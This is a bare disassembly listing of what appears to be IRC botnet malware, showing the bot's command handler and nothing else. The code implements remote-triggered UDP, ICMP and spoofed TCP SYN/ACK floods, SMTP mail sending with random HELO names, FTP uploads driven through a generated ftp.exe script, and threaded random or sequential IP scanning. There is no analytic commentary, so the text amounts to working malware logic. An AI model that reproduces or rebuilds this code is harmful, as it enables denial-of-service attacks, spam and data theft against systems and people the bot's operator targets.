		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU_0	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__1	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	ds:dword_43F5E0	; WSAStartup
		lea	eax, [ebp+var_3F8]
		push	eax
		call	ds:dword_43F6EC	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_43F6E8	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	ds:dword_43F668	; htons
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43F610	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43F680	; recv
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	ds:dword_43F6B8	; send
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43F680	; recv
		push	esi
		call	ds:dword_43F700	; closesocket
		call	ds:dword_43F5C8	; WSACleanup
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_4373F4

loc_411888:				; CODE XREF: sub_40EE72+3B51j
					; sub_40EE72+3E38j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_413A62
; ---------------------------------------------------------------------------

loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F45
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_43739C
		jmp	loc_413BFB
; ---------------------------------------------------------------------------

loc_411906:				; CODE XREF: sub_40EE72+2A87j
		call	ds:dword_424058	; GetTickCount
		push	eax
		call	sub_417300
		pop	ecx
		call	sub_41730A
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730A
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730A
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43F5DC
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_437324
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------

loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_4372E8

loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D

loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------

loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8

loc_411A5D:				; CODE XREF: sub_40EE72+5878j
		add	esp, 24h
		jmp	loc_414F45
; ---------------------------------------------------------------------------

loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_4372B0
		jmp	loc_4145FC
; ---------------------------------------------------------------------------

loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"

loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_43725C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5A
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_411BE3

loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460A
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------

loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_437214
		jmp	loc_413BFB
; ---------------------------------------------------------------------------

loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_4371CC
		jmp	loc_4145FC
; ---------------------------------------------------------------------------

loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	ds:dword_43F758, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_437174
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5A
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_411CF8

loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------

loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43712C
		jmp	loc_4128CC
; ---------------------------------------------------------------------------

loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10

loc_411D1F:				; CODE XREF: sub_40EE72+3A66j
		add	esp, 0Ch

loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	[ebp+var_4]

loc_411D2F:				; CODE XREF: sub_40EE72+567Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414627
; ---------------------------------------------------------------------------

loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------

loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx

loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_4370BC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5A
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_411E54

loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------

loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_437074
		jmp	loc_4128CC
; ---------------------------------------------------------------------------

loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA2
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 258h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_437028
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F45
; ---------------------------------------------------------------------------

loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax

loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx

loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_328], eax
		jbe	short loc_411F1E
		mov	[ebp+var_328], 320h

loc_411F1E:				; CODE XREF: sub_40EE72+30A0j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	ds:dword_42ACB0, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411F74
		mov	[ebp+arg_24], offset dword_42ACB0

loc_411F37:				; CODE XREF: sub_40EE72+30E4j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5A
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F37
		jmp	short loc_411F74
; ---------------------------------------------------------------------------

loc_411F5A:				; CODE XREF: sub_40EE72+30D6j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_411F74:				; CODE XREF: sub_40EE72+30BCj
					; sub_40EE72+30E6j
		cmp	[ebp+var_330], ebx
		jz	loc_414037
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBB
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBB
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_41208F
; ---------------------------------------------------------------------------

loc_411FBB:				; CODE XREF: sub_40EE72+3117j
					; sub_40EE72+311Cj
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDD
		push	offset unk_436FE4
		jmp	loc_4145FC
; ---------------------------------------------------------------------------

loc_411FDD:				; CODE XREF: sub_40EE72+314Fj
					; sub_40EE72+3157j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	ds:dword_43F60C	; getsockname
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_412089
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207D

loc_41205B:				; CODE XREF: sub_40EE72+3209j
		cmp	eax, ebx
		jz	short loc_41207D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205B

loc_41207D:				; CODE XREF: sub_40EE72+31E7j
					; sub_40EE72+31EBj
		mov	[ebp+var_304], 1
		jmp	short loc_41208F
; ---------------------------------------------------------------------------

loc_412089:				; CODE XREF: sub_40EE72+31C1j
		mov	[ebp+var_304], ebx

loc_41208F:				; CODE XREF: sub_40EE72+3144j
					; sub_40EE72+3215j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E0

loc_4120CD:				; CODE XREF: sub_40EE72+3291j
		push	esi

loc_4120CE:				; CODE XREF: sub_40EE72+327Bj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210B
; ---------------------------------------------------------------------------

loc_4120E0:				; CODE XREF: sub_40EE72+3259j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120EF
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120EF
		push	eax
		jmp	short loc_4120CE
; ---------------------------------------------------------------------------

loc_4120EF:				; CODE XREF: sub_40EE72+3273j
					; sub_40EE72+3278j
		mov	esi, offset aF	; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CD
		mov	[ebp+var_3B4], bl

loc_41210B:				; CODE XREF: sub_40EE72+326Cj
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211D
		mov	eax, offset aSequential	; "Sequential"

loc_41211D:				; CODE XREF: sub_40EE72+32A4j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F60
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5A
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4121AB

loc_412195:				; CODE XREF: sub_40EE72+3337j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460A
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_412195
; ---------------------------------------------------------------------------

loc_4121AB:				; CODE XREF: sub_40EE72+3321j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436F18
		jmp	loc_413BFB
; ---------------------------------------------------------------------------

loc_4121BC:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_4450D8[eax], bl
		jz	loc_414F45
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436F0C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F45
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_444EC0[eax], 73h
		jnz	loc_414F45
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"

loc_4122A7:				; CODE XREF: sub_40EE72+3532j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F45
; ---------------------------------------------------------------------------

loc_4122D4:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_4450D8[eax], bl
		jz	loc_414F45
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F45
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_444EC0[eax], 73h
		jnz	loc_414F45
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A7
; ---------------------------------------------------------------------------

loc_4123A9:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	ds:dword_43F6A8	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436EA0
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset sub_415E35
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_41248B

loc_412475:				; CODE XREF: sub_40EE72+3617j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E3
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_412475
; ---------------------------------------------------------------------------

loc_41248B:				; CODE XREF: sub_40EE72+3601j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436E54
		jmp	loc_4144D4
; ---------------------------------------------------------------------------

loc_41249C:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
